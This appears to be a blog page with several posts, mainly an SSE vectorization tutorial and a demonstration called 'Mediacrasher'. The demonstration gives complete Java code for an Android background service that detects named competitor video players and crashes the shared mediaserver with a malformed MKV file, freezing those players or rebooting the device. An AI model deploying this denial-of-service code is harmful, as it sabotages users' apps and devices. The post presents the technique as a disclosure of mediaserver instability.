I've recently co-authored an article on the NVIDIA Parallel Forall website: NVIDIA Docker: GPU Server Application Deployment Made Easy.

On the same topic, we presented our work at DockerCon 2016 in the Open Forum track, slides are available here.

In this article, I will show how easy it is to cripple or even crash a competing multimedia-oriented application on Android with only a few lines of code.

Summary (aka TLDR)

On Android, in order to do HW decoding, an application must communicate with a process that has access to the HW codecs. However this process is easy to crash if you send it a selected MKV file. It is possible to create an Android service that checks if a competing media player is currently running and then crash the media process, thus stopping HW decoding for this player. As a result, the media player app can also crash and your phone can even reboot.

Mediaserver

Presentation

I have been contributing to the open source projects VLC and VLC for Android in the last few months. I worked on the implementation of an efficient hardware acceleration module for our Android application using the MediaCodec and the OpenMAX APIs. Since your average Android application does not have sufficient permission to access /dev/* entries on your system, you must use a proxy called the mediaserver in order to communicate with HW codecs. The mediaserver works with an IPC mechanism, for instance if you want to perform HW accelerated decoding of an H264 file, you ask the mediaserver to create a decoder and you call methods on this decoder using IPC.
Internally, the mediaserver is using the OpenMAX IL (OMXIL) API to manipulate HW codecs. For HW decoding, userland applications can either use IOMX (OpenMAX over IPC) or the more recent and standardized API called MediaCodec (API level 16).

Strengths and weaknesses

Using HW accelerated video decoding offers many advantages: you use less battery and you can potentially get significantly better performance. My Nexus 5 phone can only decode 4K videos with HW acceleration. Using the MediaCodec API you can even remove memory copies introduced by the IPC mechanism of mediaserver: you can directly render the frames to an Android surface. Unfortunately, there are also disadvantages: HW codecs are usually less resilient and are more likely to fail if the file is slightly ill-formed. Also, I don't know any HW codec on Android able to handle the Hi10P H264 profile.
The mediaserver on Android also has its own weaknesses: since there is only one process running, if it crashes, all connected clients will suddenly receive an error with almost no chance of recovery. Unfortunately, the mediaserver source code has many calls to CHECK() which is basically assert() but not stripped from release builds. This call is sometimes used to check values that were just read from a file, see for instance the MatroskaExtractor file. When testing HW acceleration for VLC, we noticed random crashes during video playback, sometimes after 20 minutes of flawless HW decoding.

Mediacrasher

The mediaserver is both easy to crash and essential for all media players applications in order to use HW decoding. Therefore, I realized it would be easy to create a small application that detects if a competing media player is started and then crashes the mediaserver to stop HW decoding. Depending on the app, and on luck too, the media player can crash or decide to fallback to SW. If the video is too large for SW decoding, playback will stutter.
After a bit of testing on the impressive collection of buggy video samples we have at VideoLAN, I found one that deterministically crashes (on my Nexus 5 with 4.4.2, your mileage may vary) the mediaserver when using the MediaScanner API. The sample can be found here. Ironically, it seems to be a test file for the MKV container format:

The evil plan for crashing competing apps can now be achieved with only a few simple steps:
- Starts an Android service (code running in background even if the calling app is not in foreground).
- Frequently monitors which apps are running and looks for known media players like VLC or the Android stock player.
- Uses MediaScannerConnection on the CONT-4G.mkv file, the mediaserver crashes and the media player will immediately receives an error if it was using HW codecs.

I've developed a small test application, and it works fine. Of course, VLC does not use this wicked technique, since it's an open source project you can check yourself in the source code of VLC and VLC for Android.
This looks extreme, and I hope no application will ever use this technique on purpose, but I wanted to show the stability issues we currently encounter with mediaserver. Actually, some services are already regularly crashing the mediaserver on my device, for instance while thumbnailing or extracting metadata from the files on your device; but they don't do that on purpose, I think...

Code

The code is short, first is the main Activity, it simply starts our service:

public class MainActivity extends Activity {
	@Override
	public void onCreate(Bundle savedInstanceState) {
		super.onCreate(savedInstanceState);
 
		startService(new Intent(MainActivity.this, MediaCrasherService.class));
 
		Toast toast = Toast.makeText(MainActivity.this, "MediaCrasher service started", Toast.LENGTH_SHORT);
		toast.show();
 
		finish();
	}
}

The service looks at running apps and starts a MediaCrasherConnection with our special file to crash the mediaserver:

public class MediaCrasherService extends IntentService {
 
	private class MediaCrasherClient implements MediaScannerConnection.MediaScannerConnectionClient {
 
		private String filename;
		private MediaScannerConnection connection;
 
		public MediaCrasherClient(Context ctx, String path) {
			filename = path;
			connection = new MediaScannerConnection(ctx, this);
			connection.connect();
		}
 
		@Override
		public void onMediaScannerConnected() {
			connection.scanFile(filename, null);
		}
 
		@Override
		public void onScanCompleted(String path, Uri uri) {
			connection.disconnect();
		}
	}
 
	public MediaCrasherService() {
		super("MediaCrasherService");
	}
 
	@Override
	protected void onHandleIntent(Intent intent) {
		for (int i = 0; i < 12; ++i) { /* Do not run mediacrasher for ever. */
			try {
				Thread.sleep(10000);
			} catch (InterruptedException e) {
				/* nothing */
			}
 
			ActivityManager activityManager = (ActivityManager) this.getSystemService(ACTIVITY_SERVICE);
			List<RunningAppProcessInfo> procInfos = activityManager.getRunningAppProcesses();
			for (int j = 0; j < procInfos.size(); ++j) {
				RunningAppProcessInfo procInfo = procInfos.get(j);
				String processName = procInfo.processName;
				if (procInfo.importance == ActivityManager.RunningAppProcessInfo.IMPORTANCE_FOREGROUND
					&& (processName.equals("org.videolan.vlc")
					    || processName.equals("com.mxtech.videoplayer.ad")
				            || processName.equals("com.inisoft.mediaplayer.a")
					    || processName.equals("com.google.android.videos")
					    || processName.equals("com.google.android.youtube")
                                            || processName.equals("com.archos.mediacenter.videofree"))) {
					 String path = "/sdcard/Download/CONT-4G.mkv";
					 MediaCrasherClient client = new MediaCrasherClient(MediaCrasherService.this, path);
				}
			}
		}
	}
}

Results

I tested my program on some media players available on Android and here are the results:
- VLC: short freeze and then shows a dialog informing the user that HW acceleration failed and asking him if he wants to restart with SW decoding.
- DicePlayer: freezes the player, force quit is needed.
- MX Player: silent fallback to SW decoding, but the transition is visible since the video goes back in time a few seconds.
- Archos Video Player: reboots your device.
- Play Films: reboots your device.
- Youtube: stops playback, the loading animation never stops and the video display turns black.

Thanks

I would like to thanks Martin Storsjö and Ludovic Fauvet for their help on Android since I started working on VLC.

I've written several articles about how to use SSE in C/C++ code, a beginners' tutorial, an explanation on saturation arithmetic with SSE and SSE applied to image processing. In this article I will introduce a new technique to help converting your scalar code to an SSE-accelerated code.

Vectorization

Vectorization is the task of converting a scalar code to a code using SSE instructions. The benefit is that a single instruction will process several elements at the same time (SIMD: Single Instruction, Multiple Data).

Auto-vectorization

Sometimes the compiler manages to transform the scalar code you've written into a vectorized code using SIMD instructions, this process is called auto-vectorization. For example you can read the documentation of GCC to check the status of its tree vectorizer: http://gcc.gnu.org/projects/tree-ssa/vectorization.html, several examples of vectorizable loops are given.

Manual Vectorization

There are a lot of tips to help auto-vectorization: for example rewriting the code to avoid some constructs, using builtins to help the compiler, etc.
But sometimes, despite all your efforts, the compiler cannot vectorize your code. If you really need a performance speedup then you will have to do vectorization by hand using the _mm_* functions. These functions are really low-level so this process can be quite hard and writing an efficient SSE code is difficult.

Vectorization of conditional code

If you are new to SSE, you might be wondering how conditional code should be vectorized. We will show in this article that this is in fact really easy. You only need to know boolean algebra.

Scalar code

We will attempt to use SSE instructions to speedup the following scalar code:

#include <cmath>
 
void scalar(float* __restrict__ result,
            const float* __restrict__ v,
            unsigned length)
{
  for (unsigned i = 0; i < length; ++i)
  {
    float val = v[i];
    if (val >= 0.f)
      result[i] = std::sqrt(val);
    else
      result[i] = val;
  }
}

This example is simple: we have a (long) array of floats and we want to compute the square root of each value from these array. Given that a negative number has an imaginary square root, we will only compute the square root of positive values from the array.

Auto-vectorization attempt

Before using SSE instructions, let's see if GCC manages to vectorize our code, we compile the code using the following flags: -O3 -msse3 -ffast-math.
We also use the flag -ftree-vectorizer-verbose=10 to get feedback from the vectorizer on each analyzed loop. Here is the output for our function:

sse.cc:12: note: ===== analyze_loop_nest =====
sse.cc:12: note: === vect_analyze_loop_form ===
sse.cc:12: note: not vectorized: control flow in loop.
sse.cc:12: note: bad loop form.
sse.cc:8: note: vectorized 0 loops in function.

Auto-vectorization failed because of the if statement, we will have to vectorize the code by hand.
Note that if we remove the if (we compute the square root on all elements), then auto-vectorization is successful:

sse.cc:12: note: Cost model analysis:
Vector inside of loop cost: 4
Vector outside of loop cost: 20
Scalar iteration cost: 3
Scalar outside cost: 7
prologue iterations: 2
epilogue iterations: 2
Calculated minimum iters for profitability: 5

sse.cc:12: note: Profitability threshold = 4

sse.cc:12: note: Profitability threshold is 4 loop iterations.
sse.cc:12: note: LOOP VECTORIZED.
sse.cc:8: note: vectorized 1 loops in function.

Branchless conditional using a mask

Load and store

Based on what I've shown in my SSE tutorial, we already know the skeleton of our algorithm: first we need to load 4 float values from memory to a SSE register, then we compute our square root and when we are done we store the result in memory. As a reminder, we will be using the _mm_load_ps function to load from memory to a SSE register and the _mm_store_ps to load from a register to memory (we assume memory accesses are 16-bytes aligned). Our skeleton is therefore as follows:

void sse(float* __restrict__ result,
         const float* __restrict__ v,
         unsigned length)
{
  for (unsigned i = 0; i <= length - 4; i += 4)
  {
    __m128 vec = _mm_load_ps(v + i);
 
    // FIXME: compute square root.
 
    _mm_store_ps(result + i, res);
  }
}

Generating a 128 bits mask

SSE offers a whole range of comparison instructions. These instructions perform 4 comparisons at the same time and the result is stored in another register.

For our vectorization attempt we will use the _mm_cmpge_ps instruction (compare greater or equal):

r0 := (a0 >= b0) ? 0xffffffff : 0x0
r1 := (a1 >= b1) ? 0xffffffff : 0x0
r2 := (a2 >= b2) ? 0xffffffff : 0x0
r3 := (a3 >= b3) ? 0xffffffff : 0x0

If the comparison is true for one pair of values from the operands, all corresponding bits of the result will be set, otherwise the bits are cleared.

Using the mask

The result of the comparison instruction can be used as a logical mask because all the 32 bits corresponding to a float value are set. We can use this mask to conditionally select some floats from a SSE register. In order to vectorize our code, we will use the cmpge instruction and compare 4 values with 0:

   __m128 zero = _mm_set1_ps(0.f);
   __m128 mask = _mm_cmpge_ps(vec, zero);

(Note: as we are comparing with zero, we could have just used the sign bit here).

The trick is now simple, we perform the square root operation as if there were no negative values:

   __m128 sqrt = _mm_sqrt_ps(vec);

If there were negative values, our sqrt variable is now filled with some NaN values. We simply extract the non-NaN values using a binary AND with our previous mask:

   _mm_and_ps(mask, sqrt)

But, if there were negative values, some values in the resulting register are just 0. We need to copy the values from the original array. We just negate the mask and perform a binary AND with the register containing the original values (variable vec)

   _mm_andnot_ps(mask, vec)

Now we just need to combine the two registers using a binary OR and that's it!
Here is the final code for this function:

void sse(float* __restrict__ result,
         const float* __restrict__ v,
         unsigned length)
{
  __m128 zero = _mm_set1_ps(0.f);
 
  for (unsigned i = 0; i <= length - 4; i += 4)
  {
    __m128 vec = _mm_load_ps(v + i);
    __m128 mask = _mm_cmpge_ps(vec, zero);
    __m128 sqrt = _mm_sqrt_ps(vec);
    __m128 res = _mm_or_ps(_mm_and_ps(mask, sqrt),
                           _mm_andnot_ps(mask, vec));
    _mm_store_ps(result + i, res);
  }
}

Benchmark

Here is a small benchmark to test if our implementation is indeed faster, we tested both implementations on 3 arrays of different size. The CPU used is AMD Phenom II X4 955

void flush_cache()
{
  static unsigned length = 1 << 26;
  static char* input = new char[length];
  static char* output = new char[length];
 
  memcpy(output, input, length);
}

Conclusion

Thanks to the comparison instructions available with SSE, we can vectorize a scalar code that used a if statement.
Our scalar code was very simple, but if it was at the end of a complicated computation, it would be tempting to perform the square root without SSE on the result vector. We have shown here that this computation can also be done using SSE, thus maximizing parallelism.